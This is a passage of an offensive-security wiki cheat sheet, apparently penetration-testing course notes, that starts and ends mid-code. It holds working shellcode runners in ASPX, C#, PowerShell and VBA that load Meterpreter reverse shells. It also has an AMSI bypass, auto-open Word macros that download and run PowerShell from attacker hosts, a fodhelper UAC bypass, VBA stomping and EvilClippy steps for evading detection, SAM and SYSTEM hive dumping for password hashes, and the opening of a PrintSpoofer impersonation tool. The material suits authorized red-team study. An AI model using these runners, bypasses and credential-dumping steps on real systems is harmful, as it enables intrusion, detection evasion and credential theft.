    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
